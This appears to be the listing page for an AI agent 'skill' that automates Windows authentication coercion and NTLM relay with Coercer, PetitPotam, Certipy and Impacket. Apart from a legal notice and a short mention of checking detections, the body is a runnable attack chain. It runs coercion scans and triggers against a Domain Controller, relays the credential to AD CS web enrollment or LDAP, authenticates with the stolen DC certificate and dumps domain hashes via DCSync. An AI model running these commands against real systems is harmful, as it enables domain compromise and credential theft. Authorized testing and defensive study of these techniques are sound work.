Assess forced authentication and NTLM relay, the forwarding of authentication to another service, in authorized Windows environments. Use Coercer and PetitPotam to document exposed methods and check detection coverage, signing requirements, and Extended Protection for Authentication safeguards.
Trigger machine account authentication with PetitPotam (MS-EFSR) and Coercer (MS-RPRN, MS-DFSNM, MS-FSRVP, MS-EVEN) via Coercer's scan/coerce/fuzz modes, feeding the coerced NTLM auth into a relay against AD CS Web Enrollment (ESC8), LDAP (RBCD), or SMB. Use in authorized engagements to complete a coercion-relay chain against a Domain Controller, or to validate coercion detections and signing/EPA mitigations.
Run score Not tested
See how to installReview the instructions the agent will receive before you install.
Legal Notice: This skill is for authorized security testing and educational purposes only. Authentication coercion combined with NTLM relay can yield domain compromise. Use only against systems you own or have explicit written authorization to test. Unauthorized use is illegal.
Many Windows RPC interfaces expose methods that take a UNC path and cause the receiving server to authenticate to that path using its machine account. An attacker who can reach these interfaces can force a target (commonly a Domain Controller) to authenticate to an attacker-controlled host. On its own this is "Forced Authentication"; combined with an NTLM relay, the coerced machine credential is relayed to a service that does not enforce signing/EPA, most famously AD CS Web Enrollment (ESC8), yielding a certificate for the Domain Controller and ultimately domain compromise.
PetitPotam (Gilles Lionel / topotam) abuses the MS-EFSR (Encrypting File System Remote Protocol) EfsRpcOpenFileRaw / EfsRpcEncryptFileSrv methods. Coercer (p0dalirius) generalizes the technique: it is a Python tool that automatically coerces a Windows server to authenticate to an arbitrary machine through 12 methods spanning multiple protocols — MS-EFSR (PetitPotam), MS-RPRN (PrinterBug/SpoolSample), MS-DFSNM (DFSCoerce), MS-FSRVP (ShadowCoerce), MS-EVEN, and more. Coercer operates in three modes: scan (probe which RPC methods are reachable/coercible), coerce (trigger authentication), and fuzz (research path variations). Sources: p0dalirius/Coercer, topotam/PetitPotam, The Hacker Recipes — Forced Authentications.
relay or Impacket ntlmrelayx) on a reachable host# Coercer
pipx install coercer # or: sudo python3 -m pip install coercer
coercer --help
# PetitPotam (source)
git clone https://github.com/topotam/PetitPotam
# Impacket (provides ntlmrelayx, dFSCoerce etc.)
pipx install impacket
| ID | Technique | Application in this skill |
|---|---|---|
| T1187 | Forced Authentication | Using MS-EFSR/MS-RPRN/MS-DFSNM/MS-FSRVP RPC methods to force a target machine account to authenticate to an attacker-controlled host |
Chained techniques: T1557.001 (LLMNR/NBT-NS Poisoning and SMB/NTLM Relay) and T1649 (Steal or Forge Authentication Certificates) when relayed into AD CS.
Use Coercer's scan mode to enumerate which RPC methods on the target can be leveraged. This identifies the best coercion vector without firing a full attack.
coercer scan -u 'attacker' -p 'Passw0rd!' -d corp.local \
-t 10.0.0.10 -l 10.0.0.50
-t is the target (e.g., the DC), -l is the listener IP that should receive the coerced authentication.
In a separate terminal, start the relay aimed at AD CS web enrollment so any relayed DC authentication yields a DomainController certificate.
# Certipy relay into HTTP web enrollment (ESC8)
certipy relay -target 'http://CA.CORP.LOCAL' -template 'DomainController'
# Alternative: Impacket ntlmrelayx
impacket-ntlmrelayx -t http://CA.CORP.LOCAL/certsrv/certfnsh.asp \
-smb2support --adcs --template DomainController
Trigger the target machine account to authenticate to the relay/listener. --always-continue tries every method until one succeeds.
coercer coerce -u 'attacker' -p 'Passw0rd!' -d corp.local \
-t 10.0.0.10 -l 10.0.0.50 --always-continue
To use a single specific method (quieter), filter by method name:
coercer coerce -u 'attacker' -p 'Passw0rd!' -d corp.local \
-t 10.0.0.10 -l 10.0.0.50 --filter-method-name PetitPotam
PetitPotam is the canonical MS-EFSR coercion and works unauthenticated against unpatched DCs. Syntax: petitpotam.py <listener> <target>.
# Unauthenticated attempt
python3 PetitPotam.py 10.0.0.50 10.0.0.10
# Authenticated (more reliable on patched-but-vulnerable hosts)
python3 PetitPotam.py -u attacker -p 'Passw0rd!' -d corp.local 10.0.0.50 10.0.0.10
For ESC8, the relay writes a DC certificate (dc.pfx). Authenticate as the DC and DCSync.
certipy auth -pfx 'dc$.pfx' -dc-ip 10.0.0.100
# Then DCSync with the recovered DC credential
impacket-secretsdump -k -no-pass 'corp.local/dc$@dc.corp.local' -just-dc
If ESC8 is unavailable, relay coerced auth to LDAP to configure Resource-Based Constrained Delegation.
# Relay to LDAP and delegate to attacker-controlled computer account
impacket-ntlmrelayx -t ldap://dc.corp.local --delegate-access \
--escalate-user 'attacker$' -smb2support
# Then coerce as in Step 3
Fuzz mode varies UNC paths to find coercion paths bypassing partial patches.
coercer fuzz -u 'attacker' -p 'Passw0rd!' -d corp.local \
-t 10.0.0.10 -l 10.0.0.50
| Resource | Purpose | Link |
|---|---|---|
| Coercer | Multi-method automated coercion (12 methods) | https://github.com/p0dalirius/Coercer |
| PetitPotam | MS-EFSR coercion | https://github.com/topotam/PetitPotam |
| Certipy relay | ESC8/ESC11 relay target | https://github.com/ly4k/Certipy |
| Impacket ntlmrelayx | Relay to AD CS / LDAP / SMB | https://github.com/fortra/impacket |
| The Hacker Recipes | Coercion & relay theory | https://www.thehacker.recipes/ad/movement/mitm-and-coerced-authentications |
| Method | Protocol | Notes |
|---|---|---|
| PetitPotam | MS-EFSR | EfsRpcOpenFileRaw / EfsRpcEncryptFileSrv; classic ESC8 trigger |
| PrinterBug / SpoolSample | MS-RPRN | RpcRemoteFindFirstPrinterChangeNotificationEx; needs Spooler |
| DFSCoerce | MS-DFSNM | NetrDfsAddStdRoot; often works post-PetitPotam patch |
| ShadowCoerce | MS-FSRVP | IsPathSupported / IsPathShadowCopied |
| Others (Coercer) | MS-EVEN, etc. | 12 methods total; use scan to enumerate |
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